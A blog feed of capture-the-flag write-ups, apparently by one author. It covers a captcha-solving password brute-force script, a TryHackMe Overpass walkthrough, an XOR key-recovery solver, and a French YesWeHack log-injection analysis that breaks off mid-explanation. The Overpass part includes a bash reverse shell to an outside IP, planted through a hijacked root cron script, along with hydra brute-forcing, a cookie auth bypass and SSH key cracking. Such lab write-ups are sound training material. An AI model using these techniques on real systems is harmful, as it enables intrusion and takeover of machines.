          #!/usr/bin/env rubyrequire 'net/http'require 'uri'# ConfigurationDEBUG = falseTARGET_HOST = '10.128.135.145'TARGET_PORT = 80LOGIN_PATH = '/login'PASSWORDS_FILE = 'passwords.txt'USERNAME = 'edited'ERROR_MESSAGES = {  INVALID_USER: /The user &#39;[a-z]+&#39; does not exist/,  CAPTCHA_ENABLED: /Captcha enabled/,  INVALID_CAPTCHA: /Invalid captcha/,  INVALID_PASS: /Invalid password for user &#39;[a-z]+&#39;/}uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")passwords = File.readlines(PASSWORDS_FILE).map(&:chomp)puts "[*] Start user identification"puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"puts "[*] Number of password candidates: #{passwords.count}"putsdef test_credentials(uri, username, password, captcha_mode, previous_res)  http = Net::HTTP.new(uri.host, uri.port)  http.read_timeout = 3  params = {    username: username,    password: password  }  if captcha_mode == true    captcha_value = solve_captcha(previous_res)    params['captcha'] = captcha_value  end  request = Net::HTTP::Post.new(uri.path)  request.set_form_data(params)  begin    response = http.request(request)    if response.body.match?(ERROR_MESSAGES[:INVALID_PASS])      return response.body    elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])      puts '[+] Captcha detected' if DEBUG      return :captcha    elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])      return response.body    else      return true    end  rescue => e    puts "[!] Error: #{e.message}" if DEBUG    return response.body  endenddef solve_captcha(response_body)  # Extract math challenge (eg: "634 + 61 = ?")  if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)    match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)    num1 = match[1].to_i    operator = match[2]    num2 = match[3].to_i    # Resolve calc    result = case operator             when '+' then num1 + num2             when '-' then num1 - num2             when '*' then num1 * num2             when '/' then num1 / num2             end    puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG    return result.to_s  else    puts "[!] Impossible to extract captcha" if DEBUG    #puts response_body if DEBUG    return nil  endendcaptcha_mode = falseprevious_res = ''passwords.each do |password|  res = test_credentials(uri, USERNAME, password, captcha_mode, previous_res)  #puts previous_res if DEBUG  if res == true    puts "[+] Success! Password found: #{password}"  elsif res == :captcha    puts '[+] Captcha mode enabled' if DEBUG    captcha_mode = true  else    previous_res = res  endend

          Then I just found the password for that user.

          ➜ ruby find_password.rb[*] Start user identification[*] Target: 10.128.135.145:80[*] Number of password candidates: 1567[+] Success! Password found: edited

          Flag#

          Then just login with the retrieved credentials to see the flag on the dashboard:

          Flag.txt:7<edited>6

          Vulnerabilities#

          • Non-generic error message on authentication features leading to user oracle
          • Weak captcha / anti-brute force attacks mechanism
          ]]>           Overpass - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Overpass-write-up/ Information

          Room#

          • Name: Overpass
          • Alexandre ZANNI writeups security web writeups crypto thm cron john Mon, 06 Apr 2026 04:53:11 GMT Information

            Room#

            • Name: Overpass
            • Profile: tryhackme.com
            • Difficulty: Easy
            • Description: What happens when some broke CompSci students make a password manager?

            Overpass

            Write-up

            Overview#

            Install tools used in this WU on BlackArch Linux:

            sudo pacman -S nmap wget ffuf curl htmlq hydra john ruby openssh

            Network discovery#

            As usual, let's start by adding a local domain name to the machine.

            $ grep overpass /etc/hosts10.129.136.98 overpass.thm

            Full network scan on the machine:

            sudo nmap -sSVC overpass.thm -T4 -p- -v --open --reason -oA nmap
            $ grep -E 'open|PORT' nmap.nmap# Nmap 7.99 scan initiated Mon Apr  6 01:16:04 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap overpass.thmPORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)80/tcp open  http    syn-ack ttl 62 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

            Website discovery#

            Statistically, we have more chances starting with HTTP than with SSH.

            http://overpass.thm/ is the website for the password manager that the task description was talking about.

            On the /downloads/ we can download pre-built binaries but also the source code and build script.

            Source code analysis#

            wget http://overpass.thm/downloads/src/overpass.gowget http://overpass.thm/downloads/src/buildscript.sh

            It's pretty obvious by reading overpass.go, that the encryption is extremely weak and reversible. It's a Caesar variant.

            //Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-examplefunc rot47(input string) string {var result []stringfor i := range input[:len(input)] {j := int(input[i])if (j >= 33) && (j <= 126) {result = append(result, string(rune(33+((j+14)%94))))} else {result = append(result, string(input[i]))}}return strings.Join(result, "")}

            My guess is that in the following steps of the room, we should find encrypted passwords and will be able to decrypt them with this software.

            Web enumeration & analysis#

            With a very quick fuzzing pass using ffuf, we are able to identify a route that is not linked on the homepage: /admin/

            ffuf -u http://overpass.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt

            We have nothing else to try but brute-forcing credentials on the admin page. For that, we have admin names on the /aboutus/ page.

            curl -s http://overpass.thm/aboutus/ | htmlq '.aboutText' | pcre2grep -o1 '>([[:alpha:]]+) -'
            NinjaParsSzymexBeeMuirlandOracle

            Let's try some brute-force with hydra, with a dictionary of common password and also user = pass.

            hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -u -e sr -s 80 -m '/api/login:username=^USER^&password=^PASS^:Incorrect credentials' overpass.thm http-post-form

            But we are not lucky that way. Actually, the admin page is also loading login.js script.

            // […]async function login() {    const usernameBox = document.querySelector("#username");    const passwordBox = document.querySelector("#password");    const loginStatus = document.querySelector("#loginStatus");    loginStatus.textContent = ""    const creds = { username: usernameBox.value, password: passwordBox.value }    const response = await postData("/api/login", creds)    const statusOrCookie = await response.text()    if (statusOrCookie === "Incorrect credentials") {        loginStatus.textContent = "Incorrect Credentials"        passwordBox.value=""    } else {        Cookies.set("SessionToken",statusOrCookie)        window.location = "/admin"    }}

            We can see in case of successful lo gin, the cookie SessionToken is set. Let's try to set one. Any value does nothing, but an empty value makes us connected. Once connected, we can read the following message:

            Since you keep forgetting your password, James, I've set up SSH keys for you.

            If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.Also, we really need to talk about this "Military Grade" encryption. - Paradox

            Let's save the key.

            curl -s http://overpass.thm/admin/ --cookie 'SessionToken=' | htmlq --text 'pre' > james.private_key.pemchmod 600 james.private_key.pem

            SSH key cracking#

            Referring to an article I wrote, we can try to crack the password protecting the key.

            ssh2john james.private_key.pem > james.private_key.jtr_hashjohn james.private_key.jtr_hash -w=/usr/share/wordlists/passwords/rockyou.txt --format=ssh

            The password is found after 8 seconds.

            Using default input encoding: UTF-8Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashesCost 2 (iteration count) is 1 for all loaded hashesWill run 4 OpenMP threadsNote: This format may emit false positives, so it will keep trying even afterfinding a possible candidate.Press 'q' or Ctrl-C to abort, almost any other key for statusedited          (james.private_key.pem)Warning: Only 1 candidate left, minimum 4 needed for performance.1g 0:00:00:08 DONE (2026-04-06 02:37) 0.1129g/s 1620Kp/s 1620Kc/s 1620KC/s *7¡Vamos!Session completed

            User flag#

            Let's connect with the key and the freshly cracked password.

            ssh -i james.private_key.pem james@overpass.thm
            james@ip-10-129-136-98:~$ ls -lhAtotal 40Klrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout-rw-r--r-- 1 james james 3.7K Jun 27  2020 .bashrcdrwx------ 2 james james 4.0K Jun 27  2020 .cachedrwx------ 3 james james 4.0K Jun 27  2020 .gnupgdrwxrwxr-x 3 james james 4.0K Jun 27  2020 .local-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass-rw-r--r-- 1 james james  807 Jun 27  2020 .profiledrwx------ 2 james james 4.0K Jun 27  2020 .ssh-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txtjames@ip-10-129-136-98:~$ cat user.txtthm{edited}

            Elevation of privileges (EoP)#

            As I guess earlier, the goal is now to reverse the crappy encryption.

            james@ip-10-129-136-98:~$ cat todo.txt To Do:> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough> Write down my password somewhere on a sticky note so that I don't forget it.  Wait, we make a password manager. Why don't I just use that?> Test Overpass for macOS, it builds fine but I'm not sure it actually works> Ask Paradox how he got the automated build script working and where the builds go.  They're not updating on the websitejames@ip-10-129-136-98:~$ cat .overpass && echo,L<edited>N.

            Let's save ~/.overpass and decrypt it on CyberChef.

            It contains the james password, but that's useless to EoP.

            [{"name":"System","pass":"s<edited>e"}]

            The note also mentioned an automated build script. Let's check cron.

            james@ip-10-129-136-98:~$ cat /etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )# Update builds from latest code* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

            curl is run as root to retrieve a script and then run in a piped bash. Basically if we control that script, we can elevate to root.

            Strangely, the hosts file is writable by anybody, so we can edit overpass.thm entry and set our IP address.

            james@ip-10-129-136-98:~$ ls -lh /etc/hosts-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts
            mkdir -p http/downloads/src/nvim http/downloads/src/buildscript.sh

            In buildscript.sh I put my reverse shell:

            /bin/bash -i >& /dev/tcp/192.168.150.196/7777 0>&1

            I launch a listener:

            ncat -lvnp 7777

            To bind low ports without requiring privileged access:

            sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.conf

            I start the HTTP server that will deliver the malicious script:

            ruby -run -ehttpd ./http -p80

            Then we edit /etc/hosts on the machine to set our IP address:

            127.0.0.1 localhost127.0.1.1 overpass-prod192.168.150.196 overpass.thm# The following lines are desirable for IPv6 capable hosts::1     ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters

            Root flag#

            Wait a few seconds and them boom! We are root!

            root@ip-10-129-136-98:~# iduid=0(root) gid=0(root) groups=0(root)root@ip-10-129-136-98:~# ls -lhAtotal 68Klrwxrwxrwx 1 root root    9 Jun 27  2020 .bash_history -> /dev/null-rw------- 1 root root 3.1K Apr  9  2018 .bashrcdrwx------ 3 root root 4.0K Oct 22 20:53 .cachedrwx------ 3 root root 4.0K Oct 22 20:53 .gnupgdrwx------ 3 root root 4.0K Jun 27  2020 .local-rw------- 1 root root  184 Jun 27  2020 .profiledrwx------ 2 root root 4.0K Oct 22 20:14 .ssh-rw------- 1 root root  966 Oct 22 21:29 .viminfo-rw-r--r-- 1 root root  20K Apr  6 02:35 buildStatusdrwx------ 2 root root 4.0K Jun 27  2020 buildsdrwxr-xr-x 4 root root 4.0K Jun 27  2020 go-rw------- 1 root root   38 Jun 27  2020 root.txtdrwx------ 2 root root 4.0K Jun 27  2020 srcroot@ip-10-129-136-98:~# cat root.txtthm{edited}

            Bonus#

            There is another .overpass file.

            root@ip-10-129-136-98:~# find / -type f -name .overpass/home/tryhackme/.overpass/home/james/.overpass

            Again, decrypt it on CyberChef.

            [{"name":"TryHackMe Subscription Code","pass":"edited"}]

            It was where was the subscription code.

            ]]>             W1seGuy - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-W1seGuy-write-up/ Information

            Room#

            • Name: W1seGuy
            • Alexandre ZANNI writeups security writeups crypto thm scripting xor Sun, 05 Apr 2026 00:01:00 GMT Information

              Room#

              • Name: W1seGuy
              • Profile: tryhackme.com
              • Difficulty: Easy
              • Description: A w1se guy 0nce said, the answer is usually as plain as day.

              W1seGuy

              Write-up

              Overview#

              Install tools used in this WU on BlackArch Linux:

              sudo pacman -S ruby

              Server's source code analysis#

              We're given the following python server source code:

              import randomimport socketserverimport socket, osimport stringflag = open('flag.txt','r').read().strip()def send_message(server, message):    enc = message.encode()    server.send(enc)def setup(server, key):    flag = 'THM{thisisafakeflag}'    xored = ""    for i in range(0,len(flag)):        xored += chr(ord(flag[i]) ^ ord(key[i%len(key)]))    hex_encoded = xored.encode().hex()    return hex_encodeddef start(server):    res = ''.join(random.choices(string.ascii_letters + string.digits, k=5))    key = str(res)    hex_encoded = setup(server, key)    send_message(server, "This XOR encoded text has flag 1: " + hex_encoded + "\n")    send_message(server,"What is the encryption key? ")    key_answer = server.recv(4096).decode().strip()    try:        if key_answer == key:            send_message(server, "Congrats! That is the correct key! Here is flag 2: " + flag + "\n")            server.close()        else:            send_message(server, 'Close but no cigar' + "\n")            server.close()    except:        send_message(server, "Something went wrong. Please try again. :)\n")        server.close()class RequestHandler(socketserver.BaseRequestHandler):    def handle(self):        start(self.request)if __name__ == '__main__':    socketserver.ThreadingTCPServer.allow_reuse_address = True    server = socketserver.ThreadingTCPServer(('0.0.0.0', 1337), RequestHandler)    server.serve_forever()

              The server implements a simple XOR cipher flag delivery over a TCP socket.

              # [...]def setup(server, key):    flag = 'THM{thisisafakeflag}'    xored = ""    for i in range(0,len(flag)):        xored += chr(ord(flag[i]) ^ ord(key[i%len(key)]))    hex_encoded = xored.encode().hex()    return hex_encodeddef start(server):    res = ''.join(random.choices(string.ascii_letters + string.digits, k=5))    key = str(res)# [...]

              What can be noted is:

              1. Cyclic key: The encryption uses key[i%len(key)], meaning the key repeats cyclically throughout the flag encryption.
              2. Known clear text: As we get the encrypted flag, and we know the 4 first characters of the clear text flag (THM{), we can compute the 4 first characters (out of 5) of the key (key ^ flag = encrypted_flag), which massively reduce the number of combination to brute force.
              • string.ascii_letters + string.digits means a 62 characters set.
              • k=5 means the key is 5 characters long.
              • So the entropy of the key is 30 bits (log₂(62^5)), which is about 916 millions (62^5) of combinations.
              • Because we need to brute force only 1 character, it is down to 6 bits (log₂(62^1)) of entropy which is only 62 combinations.
              • So instead of hours or days of brute force, it will be instantaneous.

              Solution script#

              So here is a Ruby script to:

              1. connect to the TCP socket,
              2. retrieve the hexadecimal encoded encrypted flag,
              3. computed the 4 first char of the key,
              4. brute force the 5th char of the key,
              5. retrieve the flag.
              require 'socket'HOST = '10.129.183.99'PORT = 1337def xor_decode(hex_encoded, key)  # Convert hex string to bytes and XOR with key (cyclically)  encrypted_bytes = [hex_encoded].pack('H*')  decrypted = ''  encrypted_bytes.each_char.with_index { |char, i| decrypted += (char.ord ^ key[i % key.length].ord).chr }  decryptedenddef retrieve_key(hex_encoded, known_plaintext = 'THM{')  # Extract partial key from known plaintext  encrypted_bytes = [hex_encoded].pack('H*')  key_chars = Array.new(5)  known_plaintext.each_char.with_index { |char, i| key_chars[i % 5] = (char.ord ^ encrypted_bytes[i].ord).chr }  # Brute force missing character  missing_index = key_chars.find_index(nil)  return key_chars.join, xor_decode(hex_encoded, key_chars.join) if missing_index.nil?  charset = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a  charset.each do |missing_char|    test_key = key_chars.dup    test_key[missing_index] = missing_char    full_key = test_key.join    decrypted = xor_decode(hex_encoded, full_key)    # Only check if it starts with THM{ and ends with }    return full_key, decrypted if decrypted.start_with?('THM{') && decrypted.end_with?('}')  end  nilenddef solve_chall  socket = TCPSocket.new(HOST, PORT)  puts "[*] Connected to #{HOST}:#{PORT}"  response = socket.gets  puts "[*] Response received: #{response.strip}"  if response =~ /flag 1: ([a-f0-9]+)/    hex_encoded = Regexp.last_match(1)    puts "[*] XOR-encoded text: #{hex_encoded}"    key, decrypted = retrieve_key(hex_encoded)    if key && decrypted      puts "[+] Key found: #{key}"      puts "[+] Decrypted text: #{decrypted}"      socket.puts(key)      puts "[+] Final response:\n#{socket.gets.strip}"    else      puts '[-] Key not found'    end  else    puts '[-] Unexpected response format'  end  socket.closerescue Errno::ECONNREFUSED  puts '[-] Connection refused. Check if server is running.'rescue StandardError => e  puts "[-] Error: #{e.message}"endsolve_chall
              $ ruby solve.rb[*] Connected to 10.129.183.99:1337[*] Response received: This XOR encoded text has flag 1: 37787e150a52515f000e2648472f0e1704500519225e415d1b0f7c4a062f11444a5e0f11487c1c07[*] XOR-encoded text: 37787e150a52515f000e2648472f0e1704500519225e415d1b0f7c4a062f11444a5e0f11487c1c07[+] Key found: edited_key[+] Decrypted text: THM{edited_flag_1}[+] Final response:What is the encryption key? Congrats! That is the correct key! Here is flag 2: THM{edited_flag_2?}

              Conclusion#

              By leveraging the known plaintext attack principle, we transformed an infeasible brute-force problem into an instant solution. This demonstrates the importance of:

              • Analyzing cryptographic implementations
              • Identifying information leakage (predictable flag format)
              ]]>               YesWeHack Dojo #44 - Surveillance du matériel - Solution https://blog.raw.pm/fr/YesWeHack-Dojo-dojo-44-hardware-monitor/ Write-up#

              Write-up pour le défi writeups security web writeups yeswehack dojo log injection Sat, 27 Sep 2025 21:43:00 GMT Write-up#

              Write-up pour le défi Dojo #44 - Surveillance du matériel créé par BrumensYWH.

              La solution officielle publiée par YesWeHack se trouve ici.

              Ci-dessous, vous trouverez ma solution qui a été retenue comme gagnante en termes de qualité.

              Code#

              Code du défi (Ruby) :

              require 'erb'require 'cgi'require 'logger'require 'pathname'Dir.chdir('/tmp/app')logger = Logger.new('logs/error.log')logger.datetime_format = "%-m/%-d/%Y"scriptFile = CGI.unescape("<user_input>")scriptFile = Pathname.new(scriptFile)# Load given backup scriptif scriptFile != '' then    logger.info("Running bakup script #{scriptFile}")    begin        load "scripts/#{scriptFile.cleanpath}"    rescue Exception => e        logger.warn("The bakup script failed to run, error : #{e.message}")    endend# Render the given page for our web applicationputs ERB.new(IO.read("views/index.html")).result_with_hash({logs: File.read("logs/error.log")})

              Code pour reproduire l'environnement :

              require 'fileutils'require 'securerandom'# Write flag script file with execute onlyfilenameflag = "flag_#{SecureRandom.hex(10)}.txt"File.write("/tmp/#{filenameflag}", flag)# Make web app folder structure and add filesFileUtils.mkdir_p '/tmp/app/views'FileUtils.mkdir_p '/tmp/app/logs'FileUtils.mkdir_p '/tmp/app/scripts'Dir.chdir('/tmp/app')File.write('scripts/bakup.rb', 'puts "PANIC PANIC PANIC AAAAH!!!"')# Write the login pageFile.write('views/index.html', '<html lang="en">  <head>    <meta charset="UTF-8" />    <meta name="viewport" content="width=device-width, initial-scale=1.0" />[rogné car sans intérêt pour le défi]      donut();      graph();      vgraph();    </script>  </body></html>')

              Solution#

              Analyse du code#

              Premièrement, un journaliseur est instancié avec le module Logger. Celui-ci écrira le journal d'évènement sur le disque dans le fichier /tmp/app/logs/error.log.

              Dans le dojo, l'entrée utilisateur est encodé en URL par le "pare-feu applicatif", puis sera décodé dans l'application à l'aide de CGI.unescape, qui, pour faire simple, fait peu ou prou, l'opération inverse. On peut donc en conclure, que cela revient à passer l'entrée utilisateur non assainie à l'application. L'entrée utilisateur attendue est la valeur du script à appeler. La seule valeur légitime connue est bakup.rb correspondant au script de sauvegarde qui se trouve dans /tmp/app/scripts/bakup.rb.Ensuite, le nom de fichier sous forme de chaîne de caractères est transformé en chemin d'accès avec Pathname.new. Aucune transformation ou effet de bord n'est attendu ici. Par le passé, il était possible d'injecter des commandes par exemple si la chaîne de caractères commençait par | ou il était possible de tronquer un chemin avec un octet nul, mais ici on partira du principe que la version de Ruby est récente et non vulnérable.

              La suite du code est exécuté si l'entrée utilisateur n'est pas vide, ce qui ne sera pas le cas pour exploiter la vulnérabilité.

              La variable teintée scriptFile est ensuite incluse une première fois dans le journaliseur à l'aide d'une interpolation de chaîne de caractère. L'utilisateur pourra donc partiellement contrôler le contenu du journal d'évènement. La variable n'est pas échappée, une grande liberté s'offrira donc pour l'injection de contenue.

              Ensuite, l'application tente d'exécuter le script de sauvegarde à partir de la variable teintée. Deux éléments intéressants sont à noter. Premièrement, la méthode cleanpath est appelée sur la variable teintée. De prime abord, on pourrait penser qu'il s'agit d'un échappement qui pourrait nous limiter. En réalité, cleanpath ne fait que supprimer les caractères . et / en doublon ou inutiles, pour normaliser le chemin Unix. En effet, les chemins ./toto.rb et ./////////.////.//////toto.rb sont équivalents sous Unix. Ici, cleanpath n'a pas vocation à effectuer un filtre de sécurité, il ne supprimera pas les remontées de chemin du style ../../../ qui pourrait servir pour une traversée de chemin. L'entrée utilisateur est donc toujours maîtrisée par l'attaquant sans réel filtrage. L'autre point à noter est l'utilisation de load. Cette méthode attire l'attention, car, en dehors du fait d'être dangereuse, n'est quasiment jamais utilisée en Ruby. Elle a un rôle semblable à require, qui, elle, est abondamment utilisée. L'utilisation de load pose donc question et pousse l'auditeur à chercher la différence entre load et require. Pour faire simple, sans rentrer dans le détail de l'algorithme de résolution de chemin de chargement, l'une des différences principales est que require suffixera le chemin avec .rb automatiquement alors que load non. Une application réelle aurait très certainement utilisée require pour charger une bibliothèque et non pas load ou alors utilisée popen3 ou system ou encore exec pour exécuter un script. Dans le cadre d'un défi de CTF, l'utilisation de load a certainement été choisie pour être moins évidente que system ou exec mais préférée à require afin de permettre d'exécuter le fichier de journalisation error.log sans avoir à complexifier le défi avec une troncation de l'extension .rb. Il devient dès lors assez évident, que le but sera ici d'écrire du code Ruby dans le fichier error.log puis de le faire exécuter par load. La vulnérabilité n'est donc pas cachée, mais bien visible : "l'application exécute du code contrôlé par l'utilisateur sans effectuer le moindre filtrage". Mais, le défi ne serait pas un défi s'il n'y avait pas une subtilité pour complexifier la chose et une astuce à identifier pour contourner le blocage.

              Par la suite, si l'exécution au script lève une exception (ex : fichier inexistant) un 2ième appel au journaliseur sera effectué. Peu d'intérêt pour l'attaquant, puisque son but sera justement d'obtenir l'exécution d'un fichier avec un nom / chemin valide et existant.

              La dernière étape est de rendre le modèle afin d'afficher le journal d'évènement. En lisant le code de mise en place de l'environnement, on sait que le drapeau se trouve dans le fichier /tmp/flag_xxxxxxxxxx.txt généré avec un nom aléatoire. Le but sera donc de le lire, à l'aide d'une exécution de code. Inutile donc de passer en revue le modèle afin d'identifier si oui ou non une XSS est présente.

              But#

              En donnant un nom de fichier inexistant en entrée (ex : test.rb) le fichier de journalisation suivant est retourné :

              # Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4I, [9/2/2025 #4331]  INFO -- : Running bakup script test.rbW, [9/2/2025 #4331]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/test.rb

              Notre objectif est donc d'écrire du code dans logs/error.log et de faire exécuter ce fichier par load afin de lire le drapeau. La complexité est, d'une part, que nous n'avons pas deux entrées utilisateur, une pour le nom du fichier exécuté et l'autre pour le contenu du fichier, mais belle et bien une seule entrée qui sera la même dans les deux cas. Il faut donc une entrée polymorphe qui soit à la fois du code Ruby valide et un nom de fichier valide et existant sur le système de fichier qui soit équivalent à logs/error.log. D'autre part, le journaliseur écrit des messages et des métadonnées dans le fichier qu'il faudra neutraliser pour que l'entièreté du fichier forme du Ruby valide afin de ne pas lever une exception à l'exécution (ou tout du moins jusqu'à ce que le code permettant de lire le drapeau soit exécuté).

              Neutralisation du format de journalisation#

              Dans un premier temps, cherchons comment neutraliser le contenu du journal d'évènement pour former du code Ruby valide.

              En ce qui concerne la première ligne d'évènement, pas de soucis, elle commence par # et sera dont interprétée comme un commentaire.Pour la 2ième; et 3ième; ligne, c'est un peu plus compliqué, notre contenu est injecté à la fin de la ligne (INJECTION_ICI) mais beaucoup de contenu non controlé et invalide en Ruby est placé devant.

              # Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4I, [9/2/2025 #4331]  INFO -- : Running bakup script INJECTION_ICIW, [9/2/2025 #4331]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/INJECTION_ICI

              Toutefois, là aussi # et sera dont interprétée comme un commentaire, le contenu réellement exécuté sera donc le suivant.

              # ignoréI, [9/2/2025 # ignoré INJECTION_ICIW, [9/2/2025 # ignoré INJECTION_ICI

              Á ce stade, le problème est que le contenu que nous pourrions injecté pour neutraliser le début de la ligne sera ignoré, car injecté dans le commentaire. L'idée est donc de commencer par injecter un retour à la ligne (\n ou %20) afin que le reste du contenu injecté débute sur une nouvelle ligne.

              # ignoréI, [9/2/2025 # ignoré \nINJECTION_ICIW, [9/2/2025 # ignoré \nINJECTION_ICI

              Maintenant, le problème est que le tableau [9/2/2025 n'est pas fermé. Et bien fermons le en injectant ] après le \n (\n]).

              # ignoréI, [9/2/2025 # ignoré \n]W, [9/2/2025 # ignoré \n]

              Cela fonctionne, car comme dans beaucoup d'autres langages, en Ruby, les chaînes de caractères, les tableaux, et beaucoup d'autres structures peuvent être découpées sur plusieurs lignes. Exemple :

              [  1,  2,  3]# équivant à[ 1, 2, 3 ]

              Si l'on simplifie, le code exécuté sera alors le suivant.

              I, [9/2/2025]W, [9/2/2025]

              Pour [9/2/2025], la valeur est interprétée comme deux divisions, il suffit de le coller dans un interpréteur pour s'en persuader.

              irb> [9/2/2025]\> [0]

              Le code est donc équivalent à ce qui suit.

              I, [0]W, [0]

              Le problème semble plus simple dorénavant. Nonobstant, en collant I, [0] ou W, [0] dans irb, on se rend compte que ce n'est toujours pas du code valide.

              <internal:kernel>:168:in 'Kernel#loop': (irb):2: syntax errors found (SyntaxError)> 2 | I, [0]    | ^~~~~~ unexpected write target    |    ^~~ unexpected write target        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'

              En effet, plusieurs problèmes se posent ici. I et W sont des constantes qui n'ont pas été déclarées au préalable, et ne peuvent donc pas être utilisées. De plus, les deux éléments (I ou W d'une part et [0] d'autre part) sont séparés par une virgule (,), il est donc attendu qu'une déclaration soit complétée. Par exemple, pour séparer des éléments d'un tableau ou effectuer une affectation.

              # Pas valideirb> 1, 2<internal:kernel>:168:in 'Kernel#loop': (irb):3: syntax errors found (SyntaxError)> 3 | 1,2    |  ^ unexpected ',', ignoring it    |  ^ unexpected ',', expecting end-of-input        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'# Valideirb> [1, 2]\> [1, 2]irb> a, b = 1, 2\> [1, 2]

              Il ne sera pas possible de former un tableau avec I, [0] (en [I, [0]]) car nous ne pouvons pas écrire avant le I. Il nous reste donc plus que le choix de l'affectation, qui a au passe le bon goût de résoudre le problème des constantes non déclarées au passage. On va donc essayer de former quelque chose de la forme I, [0] = x, y, car Ruby autorise l'affectation multiple.

              a, b = 1, 2# écquiavalent àa = 1b = 2

              Nous serons vite déçus par une tentative d'affectation naïve.

              irb> I, [0] = 1, 2<internal:kernel>:168:in 'Kernel#loop': (irb):6: syntax error found (SyntaxError)> 6 | I, [0] = 1, 2    |    ^~~ unexpected write target        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'

              La 1ʳáµ� partie (I = 1) ne pose pas problème mais [0] = 2 oui.

              irb> I = 1\> 1irb> [0] = 2<internal:kernel>:168:in 'Kernel#loop': (irb):8: syntax errors found (SyntaxError)> 8 | [0] = 2    |     ^ unexpected '='; target cannot be written    |       ^ unexpected integer, expecting end-of-input        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'

              Si l'on réfléchit un peu, c'est logique. On peut affecter une valeur à une variable (a = 1) ou a un index d'un tableau mais pas à un tableau directement.

              [] = 1# est équivalent àArray.new = 1# la preuveArray.new == []\> true

              Quand on fait [] = 1, il faut donc comprendre l'on écrit Array.new = 1 mais que la méthode .new= n'est pas défini pour les tableaux (la classe Array).

              irb> [] = 1<internal:kernel>:168:in 'Kernel#loop': (irb):9: syntax errors found (SyntaxError)> 9 | [] = 1    |    ^ unexpected '='; target cannot be written    |      ^ unexpected integer, expecting end-of-input        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'irb> Array.new = 1(irb):10:in '<main>': undefined method 'new=' for class Array (NoMethodError)        from <internal:kernel>:168:in 'Kernel#loop'        from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'        from /usr/bin/irb:25:in 'Kernel#load'        from /usr/bin/irb:25:in '<main>'

              Et si l'on pense à rajouter une valeur à un tableau, ce n'est pas la syntaxe (avec =), il faut écrire l'une des solutions suivantes.

              irb> [] << 1\> [1]irb> [].append(1)\> [1]irb> a = []\> []irb> a += [1]\> [1]

              Par contre, on peut affecter une valeur à un index d'un tableau sans soucis.

              irb> a = []\> []irb> a[0] = 1\> 1irb> a[999] = 5\> 5

